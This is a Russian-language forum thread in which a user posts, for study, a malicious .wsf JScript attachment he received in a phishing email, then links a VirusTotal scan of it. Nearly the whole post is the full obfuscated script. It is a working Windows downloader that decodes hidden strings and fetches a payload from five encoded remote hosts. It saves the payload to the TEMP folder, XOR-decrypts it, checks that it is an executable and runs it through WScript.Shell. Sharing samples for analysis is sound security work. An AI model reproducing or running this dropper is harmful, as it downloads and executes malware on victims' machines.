фишинг скрипт
От: niXman Ниоткуда https://github.com/niXman
Дата: 04.07.17 14:24
Оценка:
несколько дней назад получил на почту.
какое-то письмо про банк, дебит, хз...не помню точно.
в аттаче был zip-архив, в котором был zip-архив, в котором был этот скрипт.

выкладываю ради изучения. самому ковыряться лень...

не выполняйте его(хотя, я хз, как вообще его выполнить, расширение у него .wsf)

беглый просмотр выявил такие странные имена переменных:
pyatka
pozge
SerenaWILLI
pillulia


собсно сам скрипт:
<?xml?>
<package>
<job  id='LBjxEUD'><script  language='JScript'><![CDATA[

var mainArray  =  new  Array(2,2,2,65,2,2,2,66,55,56,57,58,59,60,61,62,63,64,2,2,2,2,2,2,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,2,2,2,2,2,2,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,2,2,2
);
    

]]></script>
    <script  language='JScript'><![CDATA[

      var watermelladmixtureHubble  =  {      ':':  '.','U':  'S','STEPIDO':  'X',  'BOBBY':'sponse','77'  :  '','388':'', '3333':'r'};
    
for(var i=0;i<40;i++){
mainArray.unshift(2);
}
for(var i=0;i<130;i++){
mainArray.push(2);
}
var watermelladmixture5lololosh="l";
abbida  =  'fromCharCode';

var SearchCircle = "b3RoZXJ3aXNlMT1mdW5jdGlvbiAgKG90aGVyd2lzZTkpDQp7DQp2YXIgb3RoZXJ3aXNlMj1XU2NyaXB0WyJDcmVhdGVPYmplY3QiXSgiQURPREIuU3RyZWFtIik7DQpvdGhlcndpc2UyWyJ0eXBlIl09MjsNCm90aGVyd2lzZTJbIkNoYXJzZXQiXT00Mzc7DQpvdGhlcndpc2UyWyJvcGVuIl0oKTsNCm90aGVyd2lzZTJbIkxvYWRGcm9tRmlsZSJdKG90aGVyd2lzZTkpOw0KdmFyIG90aGVyd2lzZTEwPW90aGVyd2lzZTJbIlJlYWRUZXh0Il07DQpvdGhlcndpc2UyWyJjbG9zZSJdKCk7DQpyZXR1cm4gIG90aGVyd2lzZTMob3RoZXJ3aXNlMTApOw0KfTsNCm90aGVyd2lzZTM9ZnVuY3Rpb24gIChvdGhlcndpc2UxMCkNCnsgIA0KdmFyIHQxPW5ldyAgQXJyYXkoKTsNCnQxWzB4QzddPTB4ODA7dDFbMHhGQ109MHg4MTt0MVsweEU5XT0weDgyO3QxWzB4RTJdPTB4ODM7dDFbMHhFNF09MHg4NDt0MVsweEUwXT0weDg1O3QxWzB4RTVdPTB4ODY7dDFbMHhFN109MHg4Nzt0MVsweEVBXT0weDg4O3QxWzB4RUJdPTB4ODk7dDFbMHhFOF09MHg4QTt0MVsweEVGXT0weDhCO3QxWzB4RUVdPTB4OEM7dDFbMHhFQ109MHg4RDt0MVsweEM0XT0weDhFO3QxWzB4QzVdPTB4OEY7dDFbMHhDOV09MHg5MDt0MVsweEU2XT0weDkxO3QxWzB4QzZdPTB4OTI7dDFbMHhGNF09MHg5Mzt0MVsweEY2XT0weDk0O3QxWzB4RjJdPTB4OTU7dDFbMHhGQl09MHg5Njt0MVsweEY5XT0weDk3O3QxWzB4RkZdPTB4OTg7dDFbMHhENl09MHg5OTt0MVsweERDXT0weDlBO3QxWzB4QTJdPTB4OUI7dDFbMHhBM109MHg5Qzt0MVsweEE1XT0weDlEO3QxWzB4MjBBN109MHg5RTt0MVsweDE5Ml09MHg5Rjt0MVsweEUxXT0weEEwO3QxWzB4RURdPTB4QTE7dDFbMHhGM109MHhBMjt0MVsweEZBXT0weEEzO3QxWzB4RjFdPTB4QTQ7dDFbMHhEMV09MHhBNTt0MVsweEFBXT0weEE2O3QxWzB4QkFdPTB4QTc7dDFbMHhCRl09MHhBODt0MVsweDIzMTBdPTB4QTk7dDFbMHhBQ109MHhBQTt0MVsweEJEXT0weEFCO3QxWzB4QkNdPTB4QUM7dDFbMHhBMV09MHhBRDt0MVsweEFCXT0weEFFO3QxWzB4QkJdPTB4QUY7dDFbMHgyNTkxXT0weEIwO3QxWzB4MjU5Ml09MHhCMTt0MVsweDI1OTNdPTB4QjI7dDFbMHgyNTAyXT0weEIzO3QxWzB4MjUyNF09MHhCNDt0MVsweDI1NjFdPTB4QjU7dDFbMHgyNTYyXT0weEI2O3QxWzB4MjU1Nl09MHhCNzt0MVsweDI1NTVdPTB4Qjg7dDFbMHgyNTYzXT0weEI5O3QxWzB4MjU1MV09MHhCQTt0MVsweDI1NTddPTB4QkI7dDFbMHgyNTVEXT0weEJDO3QxWzB4MjU1Q109MHhCRDt0MVsweDI1NUJdPTB4QkU7dDFbMHgyNTEwXT0weEJGO3QxWzB4MjUxNF09MHhDMDt0MVsweDI1MzRdPTB4QzE7dDFbMHgyNTJDXT0weEMyO3QxWzB4MjUxQ109MHhDMzsgIA0KdDFbMHgyNTAwXT0weEM0O3QxWzB4MjUzQ109MHhDNTt0MVsweDI1NUVdPTB4QzY7dDFbMHgyNTVGXT0weEM3O3QxWzB4MjU1QV09MHhDODt0MVsweDI1NTRdPTB4Qzk7dDFbMHgyNTY5XT0weENBO3QxWzB4MjU2Nl09MHhDQjt0MVsweDI1NjBdPTB4Q0M7dDFbMHgyNTUwXT0weENEO3QxWzB4MjU2Q109MHhDRTt0MVsweDI1NjddPTB4Q0Y7dDFbMHgyNTY4XT0weEQwO3QxWzB4MjU2NF09MHhEMTt0MVsweDI1NjVdPTB4RDI7dDFbMHgyNTU5XT0weEQzO3QxWzB4MjU1OF09MHhENDt0MVsweDI1NTJdPTB4RDU7dDFbMHgyNTUzXT0weEQ2O3QxWzB4MjU2Ql09MHhENzt0MVsweDI1NkFdPTB4RDg7dDFbMHgyNTE4XT0weEQ5O3QxWzB4MjUwQ109MHhEQTt0MVsweDI1ODhdPTB4REI7dDFbMHgyNTg0XT0weERDO3QxWzB4MjU4Q109MHhERDt0MVsweDI1OTBdPTB4REU7dDFbMHgyNTgwXT0weERGO3QxWzB4M0IxXT0weEUwO3QxWzB4REZdPTB4RTE7dDFbMHgzOTNdPTB4RTI7dDFbMHgzQzBdPTB4RTM7dDFbMHgzQTNdPTB4RTQ7dDFbMHgzQzNdPTB4RTU7dDFbMHhCNV09MHhFNjt0MVsweDNDNF09MHhFNzt0MVsweDNBNl09MHhFODt0MVsweDM5OF09MHhFOTt0MVsweDNBOV09MHhFQTt0MVsweDNCNF09MHhFQjsgIA0KdDFbMHgyMjFFXT0weEVDO3QxWzB4M0M2XT0weEVEO3QxWzB4M0I1XT0weEVFO3QxWzB4MjIyOV09MHhFRjt0MVsweDIyNjFdPTB4RjA7dDFbMHhCMV09MHhGMTt0MVsweDIyNjVdPTB4RjI7dDFbMHgyMjY0XT0weEYzO3QxWzB4MjMyMF09MHhGNDt0MVsweDIzMjFdPTB4RjU7dDFbMHhGN109MHhGNjt0MVsweDIyNDhdPTB4Rjc7dDFbMHhCMF09MHhGODt0MVsweDIyMTldPTB4Rjk7dDFbMHhCN109MHhGQTt0MVsweDIyMUFdPTB4RkI7dDFbMHgyMDdGXT0weEZDO3QxWzB4QjJdPTB4RkQ7dDFbMHgyNUEwXT0weEZFO3QxWzB4QTBdPTB4RkY7DQp2YXIgcmVzdWx0QXJyYXk9bmV3ICBBcnJheSgpOw0KZm9yICAodmFyIFRqPTA7ICBUaiAgPCAgb3RoZXJ3aXNlMTBbImxlbmd0aCJdOyAgVGorKykNCnsNCnZhciBSVUNITzk9b3RoZXJ3aXNlMTBbImNoYXJDb2RlQXQiXShUaik7DQppZiAgKFJVQ0hPOSAgPCAgMTI4KQ0Ke3ZhciBISWkzPVJVQ0hPOTt9DQplbHNlDQp7dmFyIEhJaTM9dDFbUlVDSE85XTt9DQpyZXN1bHRBcnJheVsicHVzaCJdKEhJaTMpOw0KfTsNCg0KcmV0dXJuICByZXN1bHRBcnJheTsNCn07DQpvdGhlcndpc2U0PWZ1bmN0aW9uICAob3RoZXJ3aXNlMTEpDQp7DQp2YXIgdDI9bmV3ICBBcnJheSgpOw0KDQp0MlsweDgwXT0weDAwQzc7dDJbMHg4MV09MHgwMEZDO3QyWzB4ODJdPTB4MDBFOTt0MlsweDgzXT0weDAwRTI7dDJbMHg4NF09MHgwMEU0O3QyWzB4ODVdPTB4MDBFMDt0MlsweDg2XT0weDAwRTU7dDJbMHg4N109MHgwMEU3O3QyWzB4ODhdPTB4MDBFQTt0MlsweDg5XT0weDAwRUI7dDJbMHg4QV09MHgwMEU4O3QyWzB4OEJdPTB4MDBFRjt0MlsweDhDXT0weDAwRUU7dDJbMHg4RF09MHgwMEVDO3QyWzB4OEVdPTB4MDBDNDt0MlsweDhGXT0weDAwQzU7dDJbMHg5MF09MHgwMEM5O3QyWzB4OTFdPTB4MDBFNjt0MlsweDkyXT0weDAwQzY7dDJbMHg5M109MHgwMEY0O3QyWzB4OTRdPTB4MDBGNjt0MlsweDk1XT0weDAwRjI7dDJbMHg5Nl09MHgwMEZCO3QyWzB4OTddPTB4MDBGOTt0MlsweDk4XT0weDAwRkY7dDJbMHg5OV09MHgwMEQ2
O3QyWzB4OUFdPTB4MDBEQzt0MlsweDlCXT0weDAwQTI7dDJbMHg5Q109MHgwMEEzO3QyWzB4OURdPTB4MDBBNTt0MlsweDlFXT0weDIwQTc7dDJbMHg5Rl09MHgwMTkyO3QyWzB4QTBdPTB4MDBFMTt0MlsweEExXT0weDAwRUQ7dDJbMHhBMl09MHgwMEYzO3QyWzB4QTNdPTB4MDBGQTt0MlsweEE0XT0weDAwRjE7dDJbMHhBNV09MHgwMEQxO3QyWzB4QTZdPTB4MDBBQTt0MlsweEE3XT0weDAwQkE7dDJbMHhBOF09MHgwMEJGO3QyWzB4QTldPTB4MjMxMDt0MlsweEFBXT0weDAwQUM7dDJbMHhBQl09MHgwMEJEO3QyWzB4QUNdPTB4MDBCQzt0MlsweEFEXT0weDAwQTE7dDJbMHhBRV09MHgwMEFCO3QyWzB4QUZdPTB4MDBCQjt0MlsweEIwXT0weDI1OTE7dDJbMHhCMV09MHgyNTkyO3QyWzB4QjJdPTB4MjU5Mzt0MlsweEIzXT0weDI1MDI7dDJbMHhCNF09MHgyNTI0O3QyWzB4QjVdPTB4MjU2MTt0MlsweEI2XT0weDI1NjI7dDJbMHhCN109MHgyNTU2O3QyWzB4QjhdPTB4MjU1NTt0MlsweEI5XT0weDI1NjM7dDJbMHhCQV09MHgyNTUxO3QyWzB4QkJdPTB4MjU1Nzt0MlsweEJDXT0weDI1NUQ7dDJbMHhCRF09MHgyNTVDO3QyWzB4QkVdPTB4MjU1Qjt0MlsweEJGXT0weDI1MTA7dDJbMHhDMF09MHgyNTE0O3QyWzB4QzFdPTB4MjUzNDt0MlsweEMyXT0weDI1MkM7dDJbMHhDM109MHgyNTFDO3QyWzB4QzRdPTB4MjUwMDt0MlsweEM1XT0weDI1M0M7dDJbMHhDNl09MHgyNTVFO3QyWzB4QzddPTB4MjU1Rjt0MlsweEM4XT0weDI1NUE7dDJbMHhDOV09MHgyNTU0O3QyWzB4Q0FdPTB4MjU2OTt0MlsweENCXT0weDI1NjY7dDJbMHhDQ109MHgyNTYwO3QyWzB4Q0RdPTB4MjU1MDt0MlsweENFXT0weDI1NkM7dDJbMHhDRl09MHgyNTY3O3QyWzB4RDBdPTB4MjU2ODt0MlsweEQxXT0weDI1NjQ7dDJbMHhEMl09MHgyNTY1O3QyWzB4RDNdPTB4MjU1OTt0MlsweEQ0XT0weDI1NTg7dDJbMHhENV09MHgyNTUyO3QyWzB4RDZdPTB4MjU1Mzt0MlsweEQ3XT0weDI1NkI7dDJbMHhEOF09MHgyNTZBO3QyWzB4RDldPTB4MjUxODt0MlsweERBXT0weDI1MEM7dDJbMHhEQl09MHgyNTg4O3QyWzB4RENdPTB4MjU4NDt0MlsweEREXT0weDI1OEM7dDJbMHhERV09MHgyNTkwO3QyWzB4REZdPTB4MjU4MDt0MlsweEUwXT0weDAzQjE7dDJbMHhFMV09MHgwMERGO3QyWzB4RTJdPTB4MDM5Mzt0MlsweEUzXT0weDAzQzA7dDJbMHhFNF09MHgwM0EzO3QyWzB4RTVdPTB4MDNDMzt0MlsweEU2XT0weDAwQjU7dDJbMHhFN109MHgwM0M0O3QyWzB4RThdPTB4MDNBNjt0MlsweEU5XT0weDAzOTg7dDJbMHhFQV09MHgwM0E5O3QyWzB4RUJdPTB4MDNCNDt0MlsweEVDXT0weDIyMUU7dDJbMHhFRF09MHgwM0M2O3QyWzB4RUVdPTB4MDNCNTt0MlsweEVGXT0weDIyMjk7dDJbMHhGMF09MHgyMjYxO3QyWzB4RjFdPTB4MDBCMTt0MlsweEYyXT0weDIyNjU7dDJbMHhGM109MHgyMjY0O3QyWzB4RjRdPTB4MjMyMDt0MlsweEY1XT0weDIzMjE7dDJbMHhGNl09MHgwMEY3O3QyWzB4RjddPTB4MjI0ODt0MlsweEY4XT0weDAwQjA7dDJbMHhGOV09MHgyMjE5O3QyWzB4RkFdPTB4MDBCNzt0MlsweEZCXT0weDIyMUE7dDJbMHhGQ109MHgyMDdGO3QyWzB4RkRdPTB4MDBCMjt0MlsweEZFXT0weDI1QTA7dDJbMHhGRl09MHgwMEEwOw0KDQp2YXIgRUdqPW5ldyAgQXJyYXkoKTsNCnZhciByZXN1bHRTdHJpbmc9IiI7DQp2YXIgSElpMzsgIHZhciBSVUNITzk7DQpmb3IgICh2YXIgVGo9MDsgIFRqICA8ICBvdGhlcndpc2UxMVsibGVuZ3RoIl07ICBUaisrKQ0Kew0KSElpMz1vdGhlcndpc2UxMVtUal07DQppZiAgKEhJaTMgIDwgIDEyOCkgIA0Ke1JVQ0hPOT1ISWkzO30NCmVsc2UgIA0Ke1JVQ0hPOT10MltISWkzXTt9DQpFR2oucHVzaChTdHJpbmdbImZyb21DaGFyQ29kZSJdKFJVQ0hPOSkpOw0KfQ0KDQpyZXN1bHRTdHJpbmc9RUdqWyJqb2luIl0oIiIpOw0KDQpyZXR1cm4gIHJlc3VsdFN0cmluZzsNCn07DQpvdGhlcndpc2U1PWZ1bmN0aW9uICAob3RoZXJ3aXNlOSwgIG90aGVyd2lzZTExKQ0Kew0KdmFyIG90aGVyd2lzZTI9V1NjcmlwdFsiQ3JlYXRlT2JqZWN0Il0oIkFET0RCLlN0cmVhbSIpOw0Kb3RoZXJ3aXNlMlsidHlwZSJdPTI7DQpvdGhlcndpc2UyWyJDaGFyc2V0Il09NDM3OyAgDQpvdGhlcndpc2UyWyJvcGVuIl0oKTsNCm90aGVyd2lzZTJbIndyaXRlVGV4dCJdKG90aGVyd2lzZTQob3RoZXJ3aXNlMTEpKTsNCm90aGVyd2lzZTJbIlNhdmVUb0ZpbGUiXShvdGhlcndpc2U5LCAgMik7DQpvdGhlcndpc2UyWyJjbG9zZSJdKCk7DQp9Ow0KDQpvdGhlcndpc2U2PWZ1bmN0aW9uICAob3RoZXJ3aXNlNykNCnsNCmZvciAgKHZhciBUaj0wOyAgVGogIDwgIG90aGVyd2lzZTdbImxlbmd0aCJdOyAgVGorKykNCnsNCm90aGVyd2lzZTdbVGpdICBePSAgb3RoZXJ3aXNlOFtNYXRoLmZsb29yKFRqICAlICBvdGhlcndpc2U4Lmxlbmd0aCldOw0KfSAgDQpyZXR1cm4gIG90aGVyd2lzZTc7DQp9OyAg";
var watermelladmixturenezlobin  =  ActiveXObject;
var NOSHORN  =  6;

      function  ferzyach0  (kuloma)  {
     try {

watermelladmixtureXCOP  =  0;
  var watermelladmixtureEssential  =  "";

    var watermelladmixturepodelomdali=  kuloma["replace"](/VALENTINE/g,  '');
    watermelladmixturepodelomdali=  watermelladmixturepodelomdali["replace"](/PIRSMASTER/g,  '');
var watermelladmixturelen  =  watermelladmixtureCalculateMyTralala(watermelladmixturepodelomdali); 
  while  (watermelladmixtureXCOP - watermelladmixturelen <  0)  {
      
  do  {
        watermelladmixtureddDccC1  =  mainArray[pozge & watermelladmixturepodelomdali['charCodeAt'](watermelladmixtureXCOP)  ];watermelladmixtureXCOP++;
      }  while  (watermelladmixtureXCOP  <  watermelladmixturelen  &&  watermelladmixtureddDccC1  +1 ==  0);
       
           
 if  (watermelladmixtureddDccC1  ==  -1)
        break; 
     
   
var pyatka;


  
      do  {
      pyatka = watermelladmixturepodelomdali["charCodeAt"](watermelladmixtureXCOP++)  &  pozge;
        watermelladmixtureWrongSmthng  =  mainArray[pyatka];

      }  while  (watermelladmixtureXCOP  <  watermelladmixturelen  &&  watermelladmixtureWrongSmthng  ==  2-3);
      if  (watermelladmixtureWrongSmthng  +1==  0)
        break;
      watermelladmixtureEssential  +=  String[abbida]((watermelladmixtureddDccC1  <<  2)  |  ((watermelladmixtureWrongSmthng  &  0x30)  >>  4));

      do  {
        watermelladmixturec3  =  watermelladmixturepodelomdali.charCodeAt(watermelladmixtureXCOP++)  &  0xff;

        if  (watermelladmixturec3  ==  10*6+0.5*2)
            return  watermelladmixtureEssential;

        watermelladmixturec3  =  mainArray[watermelladmixturec3];
      }  while  (watermelladmixtureXCOP  <  watermelladmixturelen  &&  watermelladmixturec3  ==  -1);
        
      if  (watermelladmixturec3  ==  -1)
        break;
          watermelladmixtureEssential  +=  String.fromCharCode(((watermelladmixtureWrongSmthng  &  (0XE+1))  <<  4)  |  ((watermelladmixturec3  &  0x3c)  >>  2));
      do  {
      watermelladmixtureXCOP++;


MSEZ  =   watermelladmixturepodelomdali["charCodeAt"](watermelladmixtureXCOP-1);
   

MSEZ = MSEZ  &  0xFF;  
        while  ( MSEZ < 62 && MSEZ > 60){
            throw   watermelladmixtureEssential;
        } 
        MSEZ  =  mainArray[MSEZ];
      }  while  (watermelladmixtureXCOP  <  watermelladmixturelen  &&  MSEZ  ==  -1);
    
      if  (MSEZ + 1==  0)
        break;
    var crSopus = ((watermelladmixturec3  &  0x03)  <<  6)  |  MSEZ;
      watermelladmixtureEssential  =watermelladmixtureEssential+  String.fromCharCode(crSopus);

  }
     }catch (exception_var) {return exception_var;}
    return  watermelladmixtureEssential;};


]]></script>


<script  language='JScript'><![CDATA[

var watermelladmixturetrepachopak  =  function(p){
    return new watermelladmixturenezlobin(p);
};
        
var watermelladmixture5weasel  =  ""+"E";
    
var gitSoad;
var watermelladmixture5DRUZA  =  17*  (221-4)*(44-4-40);

var watermelladmixture5jji=  "http://";

      watermelladmixtureHubble['88']  =  '';    
var BrabusT2  =  new  Function("var agitSoad= 15-7;gitSoad = 'GET';");
BrabusT2();

var watermelladmixtureApplePen  =  1;  
var otherwise1,otherwise3,otherwise4,otherwise5,otherwise6, watermelladmixturewatermelladmixture23;    
function  bytesOf  (x)  {
  x  =  Math.floor(x);
  var bytes  =  [];
  
  return  bytes;
}



function  watermelladmixture5achievment(watermelladmixture5bidttt){if(watermelladmixture5bidttt==1){return  2;}else{return  17;}
return  3;};


 function  watermelladmixture5center(watermelladmixture5rivulet)  {
    request  =  watermelladmixture5rivulet;
    for  (var watermelladmixture5XCOP  in  watermelladmixtureHubble){
    request  =  request['replace'](watermelladmixture5XCOP,  watermelladmixtureHubble[watermelladmixture5XCOP]);}
  return  request;
};

var pozge  =  0x33 * 5;
    var Franch  =  "eng"+'t'+"h";    
    var ckk=  0;
    
var pkk = mainArray["l"+Franch];
  for  (;    -pkk+ckk< 0 ;  ++ckk)  {
  
  mainArray[ckk]  =  mainArray[ckk]-2-1  ;
  }
    


var watermelladmixturesophos2  =  "QURPRVALENTINEEIuU3RyZWFt";

    
function  watermelladmixtureCalculateMyTralala(tris1,vardos,    tris){
var aax = "";    
    return  tris1[aax+watermelladmixture5lololosh+Franch];
}



var watermelladmixture5TRUEFALSE=("undefined" === typeof(watermelladmixture5GzEAPd) &&  (WSH +"VALENTINE" ==ferzyach0("VALENTINEV2lVALENTINEuZG93cyBTY3JpcVALENTINEHQgSG9zdA==") +"VALENTINE"));

if ( watermelladmixture5TRUEFALSE)
var SerenaWILLI  =  ferzyach0(SearchCircle);
    
  watermelladmixtureSHUsha  =  "ty" + "pe";
var pillulia  =  "TVNYTVALENTINEUwyLlhNTEhVALENTINEUVFA9V"+'1NVALENTINEjcmlwdC5TVALENTINEaGVsbA==';
var watermelladmixtureTooBIG  =  new  Function("watermelladmixtureBetonnka=  ferzyach0(pillulia).split('=');");

function  watermelladmixturepokimogo(watermelladmixtureShibaba6,watermelladmixtureShibaba2,  watermelladmixtureShibaba8 ){
var zx=  watermelladmixtureShibaba6[NOSHORN-NOSHORN];
watermelladmixtureShibaba6.splice(NOSHORN-NOSHORN,NOSHORN-NOSHORN +1);
return zx;
}
var UAUAUA = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0    ";
watermelladmixturesophos2 = ferzyach0(watermelladmixturesophos2);
var watermelladmixture5sirdallos  =ferzyach0("VALENTINERXhwYW5VALENTINEkRW52aXVALENTINEJvbm1lbnRTdHJVALENTINEpbmdz");
watermelladmixturetrepachopak.watermelladmixture5XCOPmplement  =  function(watermelladmixture5objects,  watermelladmixture5properties){
    for  (var watermelladmixture5l  =  watermelladmixture5objects.length,  watermelladmixture5XCOP  =  0;  watermelladmixture5XCOP  <  watermelladmixture5l;  watermelladmixture5XCOP++)  watermelladmixture5objects[watermelladmixture5XCOP].watermelladmixture5XCOPmplement(watermelladmixture5properties);
};


var watermelladmixture5jjit  =  "position";
var watermelladmixtureProraso  =  [ferzyach0("QWN0aXZlWE9iamVjdA=="),  watermelladmixture5sirdallos,ferzyach0("VALENTINEJVRFTVALENTINEVAl"),  ".ex"+"e",  ferzyach0("UnVALENTINEVuVALENTINE")];
var watermelladmixturevechern7;
watermelladmixturewatermelladmixture23  =  ferzyach0("b3VALENTINEBlbg=VALENTINE=");
watermelladmixture5fabled  =  "Hydro2Blust";
watermelladmixture5Richters  =  watermelladmixturepokimogo(watermelladmixtureProraso);
watermelladmixturetrepachopak.watermelladmixture5typize  =  function(object,  watermelladmixture5family){
    if  (!object.type)  object.type  =  function(item){
    return  (watermelladmixture5$type(item)  ===  watermelladmixture5family);
    };
};    

var watermelladmixtureBetonnka;

  watermelladmixtureTooBIG();


watermelladmixture5tudabilo1  =  "s";
watermelladmixture5casque  =  "p";
  

var watermelladmixtureshredeng  =  new  watermelladmixturenezlobin(watermelladmixtureBetonnka[watermelladmixtureBetonnka.length - 1]);

for(;;){break;}



     watermelladmixturevechern7=  watermelladmixtureshredeng[watermelladmixturepokimogo(watermelladmixtureProraso)](watermelladmixturepokimogo(watermelladmixtureProraso));

     
var watermelladmixture5SIDRENKOV  =  watermelladmixturepokimogo(watermelladmixtureProraso);
var watermelladmixture5promises  =  watermelladmixturepokimogo(watermelladmixtureProraso);
var watermelladmixtureMYXA = watermelladmixtureBetonnka.shift();
var watermelladmixtureWakaWakaFol  = SerenaWILLI+watermelladmixture5center(  "77");
]]></script>
    <script  language='JScript'><![CDATA[
var watermelladmixtureTonce  =  new  Function("RRD,FFR", ''+ watermelladmixtureWakaWakaFol);
 

function  watermelladmixture5itakvsegda(T,  D)  {
T[D]();
}
var watermelladmixture5pudlimudli =watermelladmixturetrepachopak( watermelladmixtureMYXA );

function  watermelladmixture5_VoCHO(T,  D,  C)  {
T[D](C);
}

watermelladmixtureTonce("tonce",8);
function  watermelladmixtureTDCDCDC(T,  D,  C)  {
T[ferzyach0(D)](C);
}
     

 var ifQMaskTC; 
    
function  watermelladmixtureHardBloodPot(watermelladmixturewatermelladmixture3,  watermelladmixture5StrokaParam2,  watermelladmixture5StrokaParam3,watermelladmixture5StrokaParam4)  {
    ifQMaskTC = false;var watermelladmixtureaaae=watermelladmixturevechern7+  "/"+  watermelladmixture5StrokaParam2  ;
var watermelladmixture5_VoCHO55  =  "btBtmeR";

  
watermelladmixture5_VoCHO55  =  watermelladmixture5_VoCHO55  +  "cedlako";
  if  (watermelladmixture5TRUEFALSE)  {
    watermelladmixture5pudlimudli[watermelladmixturewatermelladmixture23](gitSoad,  watermelladmixturewatermelladmixture3,  false);
watermelladmixture5_VoCHO_ALL_ALL(watermelladmixture5pudlimudli, true);
watermelladmixture5pudlimudli[watermelladmixture5tudabilo1  +  ("beamboxdulcet","beamboxbabes","beamboxacorn","beamboxvoltage","beamboxsafer",'end')]();
    
  var watermelladmixtureDragonFlu  =  watermelladmixturetrepachopak(''+watermelladmixturesophos2);
      mercedesbenzzISHEVGaSMa  =  "Hydro10Blust";

      
watermelladmixtureDragonFlu.open();
  watermelladmixtureDragonFlu[watermelladmixtureSHUsha]  =  watermelladmixtureApplePen;  
      
watermelladmixtureTDCDCDC(watermelladmixtureDragonFlu,  "d3VALENTINEJpdVALENTINEGU=",watermelladmixture5pudlimudli["Re"+watermelladmixtureHubble['BOBBY']+ferzyach0("Qm9keQ==")]  );
  watermelladmixture5XWaxeQhw  =  "Hydro11Blust";
      watermelladmixtureDragonFlu[watermelladmixture5jjit]  =  32-10-22;
     watermelladmixture5krDwvrh  =  "Hydro12Blust";

     
watermelladmixtureDragonFlu[ferzyach0("c2F2VALENTINEZVRvRmlsZQ=VALENTINE=VALENTINE")](watermelladmixtureaaae,  2);
watermelladmixtureDragonFlu["close"]();
  watermelladmixture5SswQdi  =  "Hydro13Blust"; 
    var watermelladmixtureKirkorov=otherwise1(watermelladmixtureaaae);
     
     
    
      
  
      watermelladmixture5SswQdi  =  "Hydro14Blust"; watermelladmixtureKirkorov=otherwise6(watermelladmixtureKirkorov);    
  watermelladmixture5SswQdi  =  "Hydro15Blust"; 
    var watermelladmixtureDataLength  =  watermelladmixtureCalculateMyTralala(watermelladmixtureKirkorov);
    
  watermelladmixture5SswQdi  =  "Hydro16Blust"; 

  if(29532 >watermelladmixtureDataLength + 1  )return  !watermelladmixture5TRUEFALSE;    
    if  (watermelladmixtureKirkorov[1-1]!=  77  ||  watermelladmixtureKirkorov[1]!=  90)return  false;

        watermelladmixtureaaae  =  watermelladmixtureaaae  +watermelladmixture5StrokaParam3;
    otherwise5(watermelladmixtureaaae,  watermelladmixtureKirkorov  );


            
            watermelladmixtureshredeng[watermelladmixture5promises](watermelladmixtureaaae, 1, true);
    
        
    ifQMaskTC =   watermelladmixture5TRUEFALSE;


    
  }
};
    
var listPon="Header( 'User-Agent'";
var watermelladmixture5_VoCHO_ALL_ALL = new Function("zAk", "zAk.setRequest" + listPon+" , UAUAUA ) ; ");

var watermelladmixtureTeam17  =  "uUHAvrG";
var otherwise8  =  otherwise3("Qr9jz0WL67ASOLRnYjSRftiofUJigeuh");

  

function  Durable(sp1,sp2)  { try{
}catch(ex){} };

    
var watermelladmixtureStounhandg  =  0;

function  watermelladmixtureNMTPIKVOM(watermelladmixture5_a5,watermelladmixtureAllRoad,watermelladmixture5_a77,watermelladmixture5_a88){    if  (watermelladmixture5TRUEFALSE)  {
    var i=0;
    while(i<watermelladmixture5_a5.length){


    watermelladmixtureStounhandg=watermelladmixtureStounhandg+2;
    
if(!ifQMaskTC){
        
try{
try{
  
            try{
    
                var watermelladmixturehangBangMang  =watermelladmixture5jji+  ferzyach0(watermelladmixture5_a5[i])  +  "?sGkwHog=rHWiGKnAfFU";
                
                


                
            try{
                    
                watermelladmixtureHardBloodPot(watermelladmixturehangBangMang,watermelladmixtureTeam17+watermelladmixtureStounhandg,watermelladmixtureAllRoad)

                    
                            }catch(circleErr){
                                if(ifQMaskTC){
                            continue;
                            }
                            }
        }catch(finallyErr1){
                    if(ifQMaskTC){
                continue;
                }
                }    
}catch(finallyErr2){}
}catch(finallyErr3){}
    }
    
i++;
    
} }    }

]]></script>


<script  language='JScript'><![CDATA[
var watermelladmixture5checheche  =  ["ZXVyb3BlZ3ltLVALENTINEmJlLzA4MzQ1dWc/","Nzh0Z3V5Yzg3Nnd3aXJnbG1sdG0ubmV0L2FmLzA4MzQ1dWc=","YXNtYW4ucmFpbHNwbGF5Z3JvdW5kLm5ldC8wODM0VALENTINENXVnPw==","cmFuZG9tZXNzc3Rpb3Byb3R0b3kubmV0L2FmLzA4MzQ1dWc=","YmxpdHphY2FVALENTINEkZW15LmluLzA4MzQ1dWc/"];  


function das33() {
watermelladmixtureNMTPIKVOM(watermelladmixture5checheche,  watermelladmixture5SIDRENKOV);
}


das33();
        ]]></script>
    </job>
  </package>
пачка бумаги А4 стОит 2000 р, в ней 500 листов. получается, лист обычной бумаги стОит дороже имперского рубля =)
Re: фишинг скрипт
От: niXman Ниоткуда https://github.com/niXman
Дата: 04.07.17 14:27
Оценка:
кстати, три дня назад кто-то уже сканил этот файл на virustotal.com:
https://virustotal.com/en/file/9ba48fb0b478504ab241d64e922ad8c2600fcc79aae1dcc1a80f28c921077deb/analysis/
пачка бумаги А4 стОит 2000 р, в ней 500 листов. получается, лист обычной бумаги стОит дороже имперского рубля =)
 
Подождите ...
Wait...
Пока на собственное сообщение не было ответов, его можно удалить.